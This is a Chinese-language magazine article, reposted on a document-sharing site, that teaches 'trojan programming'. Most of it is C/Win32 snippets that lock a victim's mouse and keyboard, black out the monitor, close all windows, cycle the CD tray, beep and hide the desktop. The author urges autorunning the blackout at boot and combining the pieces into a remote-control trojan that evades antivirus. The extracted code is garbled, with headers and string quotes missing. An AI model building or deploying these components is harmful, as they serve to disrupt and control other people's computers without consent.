《木马编程DIY.doc》由会员分享,可在线阅读,更多相关《木马编程DIY.doc(4页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、木马编程DIY文冷风在木马中除了必需的,屏幕控制,文件管理,SHELL之外还有其它的控制方式,我们用短小精悍的程序来一一DIY一下。1.锁定鼠标:这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序#include #include int main(int argc, char* argv)printf(n别害怕15妙后你的鼠标就可以使用了_n);RECT rect;rect.bottom=1;rect.right=1;ClipCursor(&rect);:Sleep(15000);ClipCursor(NULL);/释放return 0;注:本文于06/12月于黑客防
2、线发表版权归黑客防线所有,转载请注明出处rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域2锁定键盘:锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了#include #include /处理按键消息的过程函数LRESULT CALLBACK keyproc( int code, WPARAM wParam, LPARAM lParam )return 1;/返回1可使键盘停止响应main(int argc, char* argv)SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHa
3、ndle(NULL),0);/安装键盘钩子printf(nnn程序将在15妙之后返回.嘿嘿15妙内你的键盘是无法工作的哦n);:Sleep(15000);注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处上 面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL), GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程 序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不
4、一般了_.3.关闭显视器这个也是相当简单的看看代码:#include int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);/关闭:Sleep(10000);SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);/打开return 0;要是你够毒的话可以让它自动运行,
5、开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀.嘿嘿4.关闭所有窗口原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起#include BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)EnumWindows(EnumWindowsProc,0);/将窗口句柄传给回调函数处理return 0;BOOL CAL
6、LBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)/回调函数:PostMessage(hwnd,WM_CLOSE,0,0);/结束窗口return (true);/返回FALSE时EnumWindows结束程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵5.锁定光驱其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱#include /注意加入头文件int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPre
7、vInstance, LPSTR lpCmdLine, int nCmdShow):mciSendString(set cdaudio door open,NULL,0,NULL);/打开:mciSendString(set cdaudio door closed wait,NULL,0,NULL);/关闭return 0;/注意在 工程-设置-LINK中加入库文件名winmm.lib如果你弄个死循环,就可以让他的光驱好好活动活动了_6.制造噪音大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在#includemain()for(int j=450;j
8、500;j+)for(int i=1000;i1110;i+)Beep(i,30);:Sleep(100);关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。7.隐藏桌面其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。 #include #include int main(int argc, char* argv)HWND disk,mask;disk=FindWindow(ProgMan,NULL);mask=FindWindow(Shell_TrayWnd,NULL);ShowWindow(mask,SW_HIDE);/隐藏任务栏ShowWindow(disk,SW_HIDE);/隐藏桌面printf(n15妙后会自动出现桌面 请等待.n);Sleep(15000);ShowWindow(mask,SW_SHOW);/显示ShowWindow(disk,SW_SHOW);/显示return 0;有了上面的技术结合以前的文章,你也可以写出功能彪悍的远控程序了,而且不怕查杀,比免杀木马用着舒服多了。